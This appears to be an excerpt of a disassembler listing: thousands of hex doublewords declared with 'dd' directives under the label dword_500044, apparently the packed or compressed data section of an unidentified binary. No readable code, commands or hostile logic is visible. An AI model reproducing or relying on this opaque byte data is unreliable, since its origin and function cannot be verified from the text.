dd 1E241344h, 5D926083h, 64BBD96Ch, 0BB5415C3h, 4B93E761h
dd 0DF912EFFh, 0DE45E10Bh, 0EA5E088Dh, 5F80CA2Eh, 0FE68BF01h
dd 42644C4h, 1FAAF832h, 90860F22h, 208D03DAh, 5B82224Dh
dd 0FA944851h, 535D9224h, 8F289160h, 6886F708h, 0C69E66C1h
dd 1C467Eh, 27B00790h, 2CF1A7E5h, 700D7134h, 60D0CF5Fh
dd 6B1701BAh, 80683FC7h, 0BD092385h, 49962761h, 0E80A5B7h
dd 9AAA738h, 2851288Dh, 40C7966Ah, 72AA7334h, 8133C800h
dd 3C47FD35h, 0B6860468h, 0CE6A7D9Ah, 0CF18C880h, 0BE2E7EC0h
dd 0EB118AC7h, 1F0E11E8h, 8D00B162h, 9669DC38h, 0B9FD9F00h
dd 7A56E3F4h, 204F9089h, 5F313045h, 11E91060h, 61B3B200h
dd 0C04D6864h, 0FE02CCh, 0AF7E5FF0h, 5BFF01BFh, 312141F2h
dd 2D488074h, 50B09A8Bh, 5F867309h, 0AB0E0434h, 0D2553298h
dd 0D2BF1E6Dh, 0EAFB9702h, 0A0961EE2h, 594EBDF6h, 107EE41Fh
dd 313BFE19h, 3721B919h, 20C42BDh, 25A31D61h, 88E80E02h
dd 9000C91Dh, 2F3AE590h, 0D80B4A0Bh, 2C180A38h, 0ADC0B961h
dd 389F3230h, 4D405AF5h, 34C304Bh, 31FFD3B1h, 0F22AF8D0h
dd 2B6000EFh, 3555A9Dh, 61D2B1EEh, 0FBA22650h, 0C296C0E4h
dd 1214465Eh, 9B8FFCF4h, 42FED888h, 60F8F2D8h, 960ADD74h
dd 95318E10h, 0CB22EF3Dh, 930B2301h, 8D161071h, 15205F1Eh
dd 0D8D066h, 150F5FC7h, 82C5ACAFh, 3D6D0300h, 0E824A004h
dd 96A54C71h, 7714E902h, 50696A5Fh, 0B0B327F9h, 514CBF84h
dd 0ED63DFDEh, 0F0232B00h, 2AAC7E0Ah, 85320605h, 0E4C5046Fh
dd 0E457FE16h, 9E91A135h, 8C372A59h, 4A875C02h, 96C95F13h
dd 38567160h, 97B5A079h, 0E6A9887h, 5E5B1FDBh, 84122CE7h
dd 0AD3B8174h, 8777AE1Ch, 0CF5B4D69h, 80E9FCA0h, 0CF0481E4h
dd 79AC2712h, 2C7204A2h, 59DBD6BFh, 0BE47C24Fh, 48611BC4h
dd 63C1F447h, 2019DF05h, 0A809D38Bh, 0B240297Dh, 758C18FEh
dd 14EE008Eh, 0C0A64601h, 241EBC62h, 0E98978D4h, 2E0BE431h
dd 5210252Dh
dword_500044 dd 1711B89Dh, 947C4B87h, 0D960C3B7h, 10E95759h, 2EA410F1h
dd 1A2332h, 64EF0EA2h, 794C0131h, 0B3FD174Ch, 683A2665h
dd 3A001923h, 8E0D11C7h, 3D26BB76h, 30CD20F6h, 8005A4B9h
dd 0F51A89D2h, 0C8F51029h, 76DD9401h, 2C011D46h, 33A86EF8h
dd 0B7DDC061h, 0A1601328h, 0EE4AB54Fh, 0A108FE5Eh, 0DB611421h
dd 2F61110h, 0F75C180h, 8156808Eh, 13E114E7h, 0E500CBBh
dd 16B0F93Ah, 1904016Ah, 112021Dh, 0CE9B9C0Fh, 4F5B7509h
dd 0C01DC895h, 0CB050145h, 6D439B02h, 46143D7Dh, 772E074Eh
dd 0C023E642h, 0F3D89CAAh, 0D2DADC0Ah, 2B11E533h, 558D2674h
dd 264AA114h, 11E00137h, 7612CE80h, 870F159Ch, 48CA027Eh
dd 46385C13h, 958B0BD2h, 0D45288Dh, 0A93D8488h, 181CD14Eh
dd 0C8E80045h, 8692A4E9h, 6EC46318h, 0D48A1AE5h, 30982050h
dd 0B94116E9h, 2624B009h, 2C9C308h, 41F8B77Ah, 0D452AD48h
dd 4AA5C61h, 9873D9C9h, 0CF3C8BA8h, 1F991231h, 1833B09Dh
dd 286FF901h, 0C4888268h, 6E002EEEh, 928774C6h, 3FAB67F7h
dd 60333301h, 0C7D0C366h, 71328523h, 4C5F812Eh, 0CDFC5690h
dd 87C38B58h, 45B81EE6h, 18033CD7h, 0AEBF9649h, 2398221Ch
dd 0B1F9E0C2h, 0C623921Eh, 0DCECDAh, 89833F7Fh, 8B6269B0h
dd 8F13013Dh, 41E566FAh, 2BFDBD09h, 0C1066415h, 110B852Ch
dd 8CFFF63Ah, 41B849A9h, 0DDF6F462h, 32474426h, 7F5FE7Ch
dd 6E6F8F20h, 501D1975h, 0A9918C26h, 14D9A330h, 4A90E118h
dd 28530244h, 40C58B59h, 7405BA28h, 0E9052C14h, 18FB1C00h
dd 6B09BEh, 0CF9E3AAAh, 0AD4039A0h, 57108500h, 7E4FDA13h
dd 56327E9h, 19611122h, 0F631B521h, 17BF6600h, 1A481348h
dd 66EAA3C3h, 583C03F4h, 0B5F2D0E0h, 2147A890h, 0DBC26B2Eh
dd 399D2902h, 827C8A1Eh, 5177D08h, 27EDBD0Bh, 0F0F1C4A2h
dd 0FE728B1Bh, 0D181F301h, 37DC3993h, 0BDF83D49h, 232F5F45h
dd 5C3EFB1Ch, 0BF91589h, 68B68128h, 0AD71D18Bh, 3739831h
dd 903FD9E2h, 488ABCD9h, 16E80DCEh, 0D863048Ch, 0C22960E0h
dd 0F8003061h, 0C3F38A61h, 0D58D01C4h, 0BDC188EDh, 0E80FA566h
dd 3E05909Dh, 0CC8B3324h, 416485E6h, 6E004B77h, 5BA3DB3h
dd 37606F6h, 0E29622F3h, 0EDD955D1h, 13AF243Fh, 2C5F5A80h
dd 1530D88Bh, 5333C7FDh, 0F7F89F2h, 43E7DBF5h, 6DE5043h
dd 0FE1520C2h, 345B1905h, 0E3E9D97Ah, 222AC425h, 7042D89h
dd 2A051961h, 0CE8995F9h, 0C415C862h, 6753F0FBh, 1877FE15h
dd 0D71F2694h, 0BA014F48h, 4B80C8CCh, 0C8BBE30h, 9606AF8h
dd 17A23024h, 0A4CD7609h, 890F53C1h, 19FC2CC2h, 7500640h
dd 33DA8160h, 966B3B5h, 52C11A1h, 44E9D9A0h, 0AB1C7E08h
dd 0A469CCEh, 0A01E6E62h, 7016ACE5h, 0C689468h, 671F98Bh
dd 35CC398Bh, 835B2CC1h, 0E0DDDED3h, 128D7261h, 91B6FA2h
dd 0A6E2E1B3h, 0F770CB53h, 8B0F2857h, 735A983Eh, 905A81A5h
dd 51090A61h, 0B6B25FF8h, 6570C6FBh, 0FD5B3DD4h, 0C6216882h
dd 0FD81D6F5h, 73FBBCDAh, 53FF004Ch, 3A64E25Bh, 0EAD00188h
dd 84A3D108h, 3EE73668h, 7A208781h, 848F6390h, 38E2A4Dh
dd 19ACF65Ch, 0BFD4028Ch, 7CA0AC1Ch, 8B13CCD0h, 0BD301840h
dd 0F36A40Dh, 2474AD89h, 985D6A60h, 0DB0C7B2h, 5430104Ah
dd 5CF3BA66h, 22B2743Fh, 99952B21h, 3D114A68h, 830F068Ch
dd 8145015Ah, 0E9E88E94h, 0BF52882Eh, 852D1F39h, 963D5F67h
dd 0A73E1C48h, 4025B61h, 0FF8055B8h, 0B0121F9Ch, 0AA7D800h
dd 95F6B21Bh, 0BC3B09A1h, 21E6FECFh, 145C0DA2h, 0F913FBA4h
dd 0C8911BCDh, 0F7B90205h, 0C82ECAC2h, 0EDD19541h, 0D14CAE39h
dd 2282FEDEh, 911B7F18h, 0C6E20BC7h, 0C6083F0Bh, 4A925C0Bh
dd 0DD1A5124h, 91D8EA09h, 0CEC9E9h, 1A75B529h, 4DC710B4h
dd 0BF0D3B08h, 0F266C7F9h, 0CDB6084Ch, 0CC3E5240h, 0BC180159h
dd 8488EEBAh, 3917E83Fh, 6223FD08h, 0B25080Dh, 8D0F5905h
dd 95232501h, 0EE493215h, 6231F912h, 2FF911F8h, 0C8D34178h
dd 20810166h, 5D1809C2h, 0A7030DA0h, 0A6CD3F69h, 112E9DDh
dd 0BCA12143h, 0CF4B0217h, 78C018E7h, 0F15C4EE9h, 0F58A41ECh
dd 0B8352B2Ah, 1623C02Eh, 22071201h, 0C8C9CA8Bh, 0DDF11023h
dd 0DD841F07h, 884E2E07h, 2905010Eh, 8F9992A9h, 16883B8Eh
dd 0B0B313C0h, 3CC3A4E8h, 94841768h, 0C396F406h, 1B708742h
dd 60E85A60h, 2E355CB8h, 93F2C3Ah, 0CF5112B5h, 41AA108h
dd 0C80204E9h, 25D46504h, 0FC1918DFh, 0BC8C0FCEh, 269A2C2h
dd 0D1809CF2h, 8482526Bh, 0B3D4FE11h, 0FDBFF181h, 2DA83AE9h
dd 2D115450h, 0BAFA4021h, 0C0057A71h, 0D78B407Bh, 84A22424h
dd 14AAD07h, 2BCE00DCh, 791CAF68h, 0CA00F8BEh, 25FA454h
dd 812300D7h, 0B07F71D2h, 6A315A59h, 1DA56C34h, 111E226Bh
dd 609A4FC6h, 74CCEA6h, 1621054h, 0DB8C6601h, 2004C3F6h
dd 5E8AFC84h, 6856609Eh, 0A823B852h, 46AC29Ch, 710EAC1h
dd 0FB816476h, 4284F291h, 6847012Dh, 0EC18AC9Bh, 8B04621Eh
dd 4F1E90F0h, 26613B68h, 17580FBh, 0C1592A87h, 286A537Dh
dd 85188556h, 753075C0h, 15986841h, 2ADB8764h, 9D42D0A6h
dd 0A4684CC1h, 5A80C9E7h, 9D8B0820h, 5B12BF84h, 5C4F9404h
dd 9152B54h, 9FD203C7h, 0C2843ECh, 85130702h, 0AE620649h
dd 4702AD6Ah, 0A4B52E0Ch, 1411A28Bh, 68450267h, 92A5F797h
dd 1C2D1102h, 0C0267CDh, 53752858h, 0B46D6032h, 914E1AA1h
dd 0CB26960Ch, 64B69434h, 92D8B829h, 0CBF9E830h, 84231F5Fh
dd 0C683D8E8h, 6483122h, 38E16FEh, 7ED65732h, 64D7021Fh
dd 5A8035FFh, 31850956h, 597F1FB2h, 0F258928h, 55C8604Bh
dd 0F43B0099h, 1ADC4B5h, 2F2C4EDDh, 0E9080A9Eh, 0FA5A1909h
dd 60B5A549h, 862CDDBBh, 66B7045h, 24BAA0E9h, 9A1E9120h
dd 0D95E455Ch, 0DD232B81h, 1A8A95h, 29DBD80h, 85578BFDh
dd 0F10C5145h, 16ED1816h, 466DCCDh, 9589E947h, 0E0CAF648h
dd 12127AC9h, 0BDB33DDh, 0FAFC5A9h, 0BC4C009h, 0E401C200h
dd 16F2230Dh, 4081B089h, 40005A13h, 0B073F0Fh, 0B5058F64h
dd 4C47490h, 4595890Bh, 6F18D21Bh, 0FBEB3949h, 0B845182h
dd 0C9F43327h, 14E9DDD1h, 72B4D7BAh, 0D1DC0921h, 90801D52h
dd 8133C70Ch, 3DFF21A4h, 0B8338303h, 0C8140415h, 2C828BC3h
dd 5020860Ch, 0ED815D09h, 8B3F2244h, 4B1B8A83h, 15323508h
dd 5D350C89h, 80E3DB4Fh, 0FDFC786Ch, 824D4B88h, 29001058h
dd 9124818Dh, 923A1AEBh, 46742374h, 0B64E0016h, 0BD0950D2h
dd 0AE659265h, 0DCB1B6A0h, 34E7A301h, 2A06D25Fh, 655A203Fh
dd 3702FDE5h, 50CD1962h, 25C84E36h, 67E6800Fh, 4E02F920h
dd 0B82840B9h, 4855D704h, 81640500h, 65BB0DF7h, 868503D4h
dd 34B640BAh, 0E8EAD187h, 0ED0C9D5Fh, 5868FBC0h, 4C75564Dh
dd 4F71BF0Ah, 4E6FCD1Ch, 41AA4B48h, 2D72C1AFh, 538DC47Dh
dd 753F2100h, 2C96E4B4h, 0EB9B0AB3h, 92D5BAD2h, 421951Fh
dd 570BE962h, 3D10053Bh, 23918404h, 0A117F822h, 0AD99C220h
dd 12850130h, 0A6031465h, 3A4FF069h, 0F26626C1h, 0BAD969DDh
dd 0D41DD105h, 12758404h, 0AB7FA7B2h, 0EA770BCh, 35382E31h
dd 70012B3Ch, 63007845h, 69747065h, 73206E6Fh, 14667649h
dd 0C616D72h, 796C6A50h, 7C734865h, 0C7082037h, 68745364h
dd 6C369CEFh, 6977CCE3h
dd 63FC67FCh, 73FE64F4h, 0FD7C28DFh, 5A4061CBh, 2EFDF188h
dd 66D2A9Dh, 16685420h, 797B6B76h, 0A37757Fh, 1FA040Dh
dd 30702863h, 43627346h, 4C3A5254h, 0D1D9FF2Bh, 1EB3699Eh
dd 0A06C6497h, 5470A18Fh, 796C0879h, 0A627F69h, 29647261h
dd 3E422036h, 73A96556h, 3DBF3F99h, 1EE525BCh, 63870143h
dd 524E496Bh, 4F38640Fh, 0F544755h, 0F46F7250h, 0DA0F421Dh
dd 30F323Bh, 437469E6h, 1E900F3Dh, 1A5095B7h, 1E3A188Eh
dd 6D04AADEh, 2D210332h, 0A9810401h, 226BABB0h, 7861AFCh
dd 805C2568h, 19C0365Dh, 32F03A24h, 0A2FA19D0h, 0CA98C407h
dd 2C242E16h, 0E1B01D8Ah, 0FC104D16h, 1CFEA225h, 0AB14046h
dd 8D7D0B33h, 0AB381264h, 380E648Dh, 2648D94h, 6F8D9C38h
dd 15A3E250h, 2D080C23h, 0A2E90B20h, 450FE4D9h, 958A7004h
dd 1E91880Dh, 2422D94Bh, 2F05089Bh, 0F8C28104h, 885E16ACh
dd 955E8D9Eh, 34529021h, 0C3402883h, 0F2EF3BD4h, 3FC41175h
dd 22400CD1h, 9D8B2A55h, 4CC32F13h, 6865A50Ah, 2250C411h
dd 54421EFEh, 0E2330A10h, 0F0E1158h, 2115C21h, 559FDC52h
dd 68A2AF0Dh, 5A29CD28h, 64480C37h, 190E3202h, 0E2A00D0Ah
dd 42FA4506h, 1C4CF40Ah, 0E612C42h, 7A030D05h, 3224162Ch
dd 1624406Ah, 9C1996h, 530109EFh, 0C8C11273h, 55EAAD5Ah
dd 0EEF97C00h, 0A3132E4Dh, 0DF8B004Eh, 0F3E3805Eh, 0F430C681h
dd 0B2602E6Ch, 8E0F2FA1h, 803AE7E5h, 1A6EFA14h, 4A6356h
dd 0DC3DF5E7h, 0DBA617Ch, 0FE901B4Fh, 38B3F55h, 0C081FC06h
dd 61A813CFh, 4BDC8D0Fh, 0EBAD1830h, 608BFC9Eh, 0A2A10FBh
dd 0F2E3712h, 0BB43B382h, 11E0B950h, 4FF1D2h, 3AF5D2FCh
dd 0DC00D85Fh, 6441DB89h, 73068F93h, 0EE8103B3h, 739C4EF2h
dd 0DC1DE77h, 0EA835F51h, 1822B32Ch, 0E996B10Ch, 0A0F2Ch
dd 46141552h, 0EFD4A993h, 451CD3F2h, 0E504995Dh, 56A4E8AAh
dd 22DF0066h, 0ED18204Ah, 8B04C465h, 7DE959D8h, 241EB0h
dd 83D46D38h, 0A85360BAh, 52FA421Dh, 0B0165A47h, 0BF7FB720h
dd 675E7277h, 0FC0C0897h, 0A8003B20h, 8AE57116h, 3822EDDh
dd 0B8DBBA13h, 0B3C809A5h, 5D0E638Ch, 0A0C852FCh, 6B711079h
dd 535800F9h, 0A6A30FCEh, 0B00B6E5h, 52F65E62h, 6BDFDCh
dd 8360566Ah, 0FC0AE4F0h, 2D7F587Dh, 17D6AB04h, 0F6006414h
dd 49AA6AC6h, 0D38820A7h, 693BC307h, 0AC53281Dh, 0BD803981h
dd 86C0844Eh, 0B81E0066h, 0CECB2A7h, 36002A0Eh, 2981B365h
dd 2B611ADFh, 1C90A953h, 7FB884B1h, 201362C7h, 0AD16A93Ch
dd 0DAE0DF00h, 4E672EEFh, 62250C99h, 698961D3h, 30547E37h
dd 19634A80h, 0DD6218EDh, 0FD432165h, 6A1B71C0h, 5055A1F9h
dd 44D484E2h, 0D728617Fh, 8422286Ch, 9C0C0058h, 3C5CC7E8h
dd 0F80F8A6h, 32DF0C23h, 0B8A90242h, 386B4000h, 0C6309270h
dd 0A2041D9Eh, 0B9B141E5h, 57BE51h, 81557D7Bh, 0DEADE0BCh
dd 72695661h, 0BF401DAEh, 33FA7EAFh, 6F0897D3h, 0A6952100h
dd 0B0F4561Dh, 0E0D75AB7h, 8036574h, 3CC1E5BAh, 5228245Bh
dd 329A00A2h, 121593ADh, 0BD195467h, 573B4741h, 0B3731180h
dd 0A6DCACB9h, 0D4331A7Bh, 4C6C089Eh, 0B900C221h, 0E5F38605h
dd 0C0006A0Ch, 69BD4CB0h, 4E144B5h, 598D2BF7h, 0A37C8260h
dd 0B2C8AB31h, 2297467Fh, 0A336000Ah, 2381F516h, 0B401C0E7h
dd 89AA738Eh, 0B0D253BDh, 111DAB8Ch, 8897DC4Fh, 0A392806Dh
dd 4FE6A21Dh, 0CA662800h, 0B94DC820h, 71490311h, 2C59B7B1h
dd 0EABC7945h, 0AC41B231h, 3048CFDCh, 0AA99886Ch, 8C8B1D00h
dd 5BEA6A9Fh, 0DFAB3F5Eh, 0EDE92160h, 5D01D07Eh, 0B750D623h
dd 24247FDCh, 0A05015Ah, 3CBAE545h, 0B5AC505Eh, 0F079119h
dd 0C4335810h, 9683C615h, 12301E3Eh, 0A5F6834Bh, 49035D3Bh
dd 0AF16517Ah, 5777B8E3h, 83A66DBh, 9D00216Eh, 0E5F81649h
dd 50E2B7E6h, 3279405Fh, 0A8505817h, 0CF415431h, 284A6AE3h
dd 164CA001h, 0FF816932h, 0AAA8E904h, 0CE874FB8h, 4B197AC2h
dd 880DD32Ch, 0F462B46Eh, 10E002C0h, 595668E1h, 0C491440h
dd 88595B6Ch, 50048CA4h, 4AE3AE16h, 9C806867h, 7FF01648h
dd 0BBA224EAh, 725E019Eh, 302280E5h, 9B09E894h, 4DE5999h
dd 0B160B01Ch, 0DC23551Dh, 6911C7h, 631DA998h, 445D27Bh
dd 2C687FB5h, 0B63E810Ah, 0DDA1F71Ah, 51C24AEh, 5B940907h
dd 8CBF1BF4h, 2A7919A6h, 4EC0BD6h, 1329B955h, 6220C517h
dd 0AD30AC38h, 0DC51141Dh, 94A04CA7h, 817F1DA5h, 5C903700h
dd 0E03B340Ch, 0B21C061h, 0CEF2A8ECh, 19BCA400h, 0A2788B2Ch
dd 0BBDD249Dh, 8EAA11C4h, 7FB942B2h, 40C7CFh, 0D816AA3Dh
dd 0DE208618h, 4DBE7C30h, 0B880144Ch, 0CEDCB1B9h, 996F448Ch
dd 0F4B9B003h, 9A2AE05h, 0EB79328Eh, 6330B082h, 82A10929h
dd 2F647068h, 0A6467320h, 0AF301ADEh, 0D8DB7161h, 201948EBh
dd 4B93E700h, 51FC5F04h, 4EB52701h, 77710D6h, 6A5A208Eh
dd 0AEADA322h, 0EC70209Ch, 0AB14A18Ch, 1D09AC18h, 9C9FDC50h
dd 0A49300BCh, 0DF9CF51Dh, 0F838EB05h, 86D84A1h, 54906B3Dh
dd 77E15C5h, 0F59D5A9Eh, 8DC880A4h, 0DD7259C9h, 0DF493928h
dd 39CCA656h, 2B3B48AEh, 0E11CCAFh, 16A63900h, 0EE65574Dh
dd 4681C222h, 0B9B20246h, 679EDCABh, 0AA9302E0h, 65601FB9h
dd 0D0E53549h, 0D9C066E0h, 0A6E2EE45h, 26F00031h, 46C2D0CEh
dd 0EB004EE3h, 0B317A5D7h, 3215823Ch, 5AE9723Fh, 0DF0B0497h
dd 0B274245Eh, 3B77A891h, 0BBB71043h, 0E095C240h, 7C1CB42Ch
dd 883C7AFBh, 153657BAh, 7CB6485Ch, 28B36459h, 7E5008FFh
dd 38C7508Ch, 11EC3D16h, 72AB00E5h, 0D3FC608Fh, 0E65D5A39h
dd 0C8022A1Ch, 8708DE58h, 68619D3h, 0AB951818h, 0D9613976h
dd 69514360h, 1632B16h, 0B422CE7Ch, 0C8A3B9BBh, 7701BEE6h
dd 62B66456h, 31AC73D7h, 320E1FC0h, 0C0E1DEA1h, 0A87C0364h
dd 3006355Dh, 52E049D8h, 4E74B2AFh, 0B97E5806h, 7419233Ch
dd 776B1EA4h, 0C08C045Bh, 0A2B48171h, 0F042E562h, 7904B251h
dd 81AD7013h, 5C663C80h, 56AB1BDCh, 51B8085Dh, 2230DFB9h
dd 61A141Bh, 4C5DF7D7h, 0B2C46B21h, 84D798F5h, 0AD1544E0h
dd 25484667h, 645736E0h, 92F0C8D1h, 0C8F9158Ah, 0C8D88184h
dd 70D968A0h, 632E0C72h, 5920ECDFh, 0A0D8BE3Eh, 48E08485h
dd 5B3A74DEh, 6231F23Ch, 0D1EB7F18h, 72219E6Ah, 643C6B06h
dd 7C212871h, 9A3C9297h, 0AEAA005Ch, 1676FB59h, 71C29A43h
dd 6091D357h, 0C284D7F8h, 0ADFB0E71h, 0F80AE840h, 43550317h
dd 0DDA26420h, 0B95C141Bh, 0C205FA85h, 82C5EFDh, 9D80549Ch
dd 0D862BF64h, 6591C63Fh, 374510C8h, 0DEA51040h, 7E4E732Eh
dd 5824B0CDh, 4829C3Dh, 20509277h, 0B22A74A4h, 0A601BCADh
dd 13864CABh, 0F6B3D18Dh, 0CEC0FF79h, 0DB032724h, 0A0AE0FB9h
dd 9B0732Dh, 235E9CCAh, 4B3B2C04h, 0AC9803DFh, 0E57A0AEh
dd 311107F5h, 0E55B03C9h, 0FEC04064h, 16211D85h, 0A13A2571h
dd 5D085C5Eh, 1C9C24C0h, 593AD88Ch, 0C388A35Fh, 0B5110032h
dd 2BDF5D1Dh, 6114FB02h, 0C9D483D7h, 92A82917h, 0E960B0A0h
dd 211B617Bh, 0A41AD8DFh, 0B314F454h, 8BDB0F0Ch, 8341B843h
dd 65DC24D8h, 9ADE0720h, 4D6A402Eh, 0DFF8EE3Dh, 598EB60Ah
dd 32C71460h, 301E2AFFh, 4F307B08h, 8114C785h, 807E4330h
dd 27DE4869h, 0C581BAh
dd 5F70E55Bh, 98C10C0Bh, 0FE43FC13h, 83584020h, 1BC70060h
dd 62ED959Ah, 4914BD5h, 68105013h, 2126BC28h, 0B0D07B59h
dd 86A60C47h, 40598235h, 6D3C5F18h, 1C330631h, 30DE6280h
dd 87EAFAD9h, 2B286D01h, 9BFF1D15h, 38211C22h, 0B1AC81B9h
dd 535BB8B4h, 91A39841h, 0F92AEB08h, 0CB54A455h, 27229F0Ch
dd 10F34356h, 451318A3h, 3BE028FFh, 0B311CF60h, 0B05405ACh
dd 0ADF403DCh, 0DE1B1CD6h, 2C147028h, 68E06020h, 1BD8F0DDh
dd 5DC04063h, 9D0381C0h, 5483E34Fh, 0D5280592h, 0D41E8B10h
dd 62048230h, 0A4C4B323h, 16134381h, 0DFBB2084h, 0B9C89017h
dd 0F209CCDCh, 876A2214h, 4832C5ACh, 7F71C020h, 0DE5051D8h
dd 0F80F3040h, 13C9091h, 0C06421B7h, 6155C57Fh, 0B8440344h
dd 0BCB45126h, 0B931F318h, 23E818E0h, 8BE3800Eh, 3EA8C85Dh
dd 0F85714DBh, 7C3A7DB4h, 1818E050h, 0C02593D9h, 2B5EAD30h
dd 0F30E0B9Ch, 54B30952h, 8BFA8694h, 24511E30h, 730C0DE3h
dd 0A8B44710h, 627418B7h, 20A53B05h, 776AE58Ch, 8F6CF0E3h
dd 1AD6DE0Eh, 7830817Bh, 29804C15h, 5944E5B9h, 0C03E1162h
dd 69B054D6h, 7FD48E88h, 6FE22A02h, 0E0DD33F8h, 30E79C48h
dd 14216E9Dh, 800B7F7Eh, 917677CFh, 7CD07900h, 0D80512A3h
dd 3D4C4B22h, 3514C810h, 5A5D500Eh, 0B83CE2E1h, 63F0CAFCh
dd 5EC1CFAAh, 0BC409450h, 0A0977F3Bh, 60AFBC90h, 1843F838h
dd 5FEC5090h, 29969A32h, 3A5A106Bh, 0C5090489h, 20571298h
dd 92FB039Ch, 917A5000h, 5BE8B448h, 54E500BAh, 0C755EAECh
dd 0F500533Ah, 0FCA51DCDh, 154C95h, 8BD10991h, 0F83F3706h
dd 2BA65303h, 0A89628C8h, 0DAC45Bh, 4CC2C6E6h, 0A1CA61E7h
dd 621743F4h, 0F30C4BD1h, 3E671970h, 6880F733h, 0ACA06B6Dh
dd 54187C7Dh, 0EE20E6DFh, 67373E7h, 836B8B4Bh, 427F19EDh
dd 3FA551C0h, 7FD9352h, 7ABA7B8Dh, 47720F7h, 0D200574Ah
dd 0CC3F8F70h, 486434h, 0D3B81422h, 89EEC04Ch, 6055BE00h
dd 2C8769CDh, 26139C5h, 0DCCF4200h, 0CA57F822h, 0AB8CB902h
dd 405824B2h, 3D98290Ch, 0E1823FDh, 0DA7D5490h, 0E8CCC200h
dd 5C3C726Ah, 5AE4003Dh, 17E3DC2Bh, 530097D4h, 0C9FB87ABh
dd 310D81h, 0E27D1237h, 0AF48D04h, 72C3FF07h, 96B084C7h
dd 0B3FAFCh, 229FFDE1h, 0CFA88F4Ch, 1801E475h, 9AA66FEBh
dd 9C40B679h, 2C0C8B2Bh, 2A198D1h, 3C09CA4Eh, 3D389480h
dd 0D7002A02h, 7CD0978Dh, 6CB8F94h, 425F1A14h, 0A0004008h
dd 0A7EA53F1h, 762BB227h, 29F300B5h, 0E2E7862Dh, 0AA0FC66Ch
dd 0CE85DABBh, 24D76150h, 0C63875h, 15FAC7AEh, 0AB880300h
dd 0E58414B4h, 1BD50532h, 4037DDBAh, 9C7DD9FCh, 10C0A6B7h
dd 49643A96h, 223B0CF4h, 5529D7D4h, 990DB00h, 0D5CF6FE8h
dd 2ECF3h, 48EC639Fh, 741CA095h, 664224h, 4B58BEB0h, 0CECA0005h
dd 9D79AC46h, 0A896B2AAh, 9A8D915h, 80ECBF20h, 0CB22ED96h
dd 440E334Fh, 0F3F0A2C0h, 0DC1F81B7h, 8049B135h, 6350200Dh
dd 0FA5D38h, 290B232Fh, 0C07EB39Ch, 518E0D18h, 30EA9541h
dd 5B2AA473h, 1400B3C8h, 0A270DF58h, 63052Bh, 0BFE9EB3Bh
dd 0F56B72E7h, 0EEB0A5FAh, 73006873h, 0F3EDD1BEh, 37A0380h
dd 0A93CA04h, 0F5B861BCh, 5B00C859h, 44EF2217h, 0F29AE4Dh
dd 0D9B71699h, 64B45AE0h, 220018C8h, 0C694AADBh, 25BC5E33h
dd 0E000CCE5h, 6B75EFD1h, 480367F8h, 0D2D46AF1h, 2240980Ah
dd 0B384077Bh, 0CE122BB5h, 7C0F3BC0h, 8303AB9Fh, 0D92223AFh
dd 6A8E9015h, 5C7A3BC4h, 7089D92h, 885F0A58h, 12E39C40h
dd 93CCA816h, 9F322421h, 231580D8h, 0B8AF8BA3h, 1BAE4115h
dd 9E9900B0h, 241AF930h, 0B67F0EDBh, 0E2605ED0h, 6668EBAAh
dd 1B071575h, 6DC2BBDAh, 0B845B1F0h, 0BCE739EDh, 26433685h
dd 7CC40021h, 4B9231F5h, 0C3863000h, 14F42FA4h, 60BFF89Dh
dd 0F10E70AFh, 0D777D9BEh, 0F81D10Ch, 986518B0h, 3B4A00F7h
dd 94F9E695h, 4428C1B4h, 7B00C8FDh, 0B161A99Fh, 62BA365h
dd 60CC118Ch, 0DE0121E3h, 0D7BE0F54h, 0D4205FBDh, 34A20F75h
dd 82200117h, 412FFC9h, 0B9D78F01h, 9A02745Ch, 376E7880h
dd 9F0F173Eh, 427DE4A0h, 7B1E46FCh, 2F00608Eh, 0CB5EED33h
dd 0A2280076h, 23A1E691h, 8CF0AC3Ah, 12E15Eh, 0CEBC1C00h
dd 4EFBF0h, 0A1695F3Ch, 31D6116Dh, 4881DE01h, 84A38EFCh
dd 0D51834h, 3860FA9Eh, 0E6EE7152h, 0BFDDC000h, 4AABB15Dh
dd 185CE04Eh, 36669BCBh, 7D24F539h, 0B003DFA1h, 0F0554D28h
dd 0CAB8F6FFh, 80FCF906h, 9A96BB2Bh, 9E07728Bh, 0D5AD2F27h
dd 212406h, 0DDCD1789h, 0C7A4FFA6h, 39FE8F12h, 0A0272CC3h
dd 48BE363Dh, 2907E84Ah, 70E41155h, 0D4FBFDECh, 11C5E49h
dd 8AA85496h, 0B670C6FCh, 8351F36h, 2AAC4027h, 0B241994h
dd 0CB529000h, 8C5553E5h, 98997FB1h, 0E2B00124h, 0D0B813DBh
dd 2C283Eh, 0C1D94377h, 0F0795241h, 6EC82C08h, 5D4B096Ch
dd 7D14A280h, 2C96C48Eh, 0F99A2003h, 89A2007Ch, 0DA7FB8B1h
dd 0EB00731Bh, 5EE2CB6Ah, 0F73C39h, 0C24AD527h, 55BA83D8h
dd 30005C7Ah, 9D7E1224h, 0EA8198h, 0FFF12D6Dh, 0A6356762h
dd 0D1DCEB2Ch, 688E481Eh, 60C0DD85h, 826741CAh, 39871F3Bh
dd 0F4F98538h, 68AC0733h, 568DA03Ah, 0D8004590h, 0E3BAF642h
dd 3E7A69DAh, 0FD3A2EC6h, 26091380h, 224677BEh, 0CB15CC00h
dd 7C486FCAh, 604AFAAFh, 759F5028h, 0A2008BAAh, 0AC953121h
dd 0B7E0729h, 0F8E3096h, 5FFDEA00h, 0F10E133Dh, 236D1547h
dd 0FAA8EBE7h, 538C4069h, 14F077AFh, 0DC064DC0h, 1D78A301h
dd 43CD13A0h, 86E82CD1h, 267FAEB0h, 0D8805D00h, 8FEBE301h
dd 77A3002Dh, 112931A6h, 0CF483D5Eh, 91C260F4h, 0BD0271h
dd 1AC807DEh, 3A0A4C6Ah, 8D863700h, 980CAAACh, 268E0104h
dd 6661FFA7h, 0F3C930A2h, 3F5E4104h, 94C039DAh, 0F485095h
dd 97BBFFEEh, 262AAFA0h, 0D50E0414h, 0FEB1A4B7h, 830EB003h
dd 0C205D859h, 0C53B1DC7h, 0DD2D47D2h, 0A29B5h, 0A61C8024h
dd 1DA198A5h, 0D4FD7517h, 56F79420h, 6AEE01A7h, 1C6B58E5h
dd 0E4C0E7F1h, 417AC65Fh, 0D03C0300h, 0A4A979DEh, 1D4FD8Dh
dd 0CFE48E5h, 0F7B24100h, 84F59620h, 0D8DFECF3h, 4345EB00h
dd 0B65D562Fh, 5ECE09Ch, 0DCF98134h, 4998005Fh, 0C0A7DFB7h
dd 602858h, 0C9149E58h, 0B8BC4E80h, 13CA0678h, 30604B88h
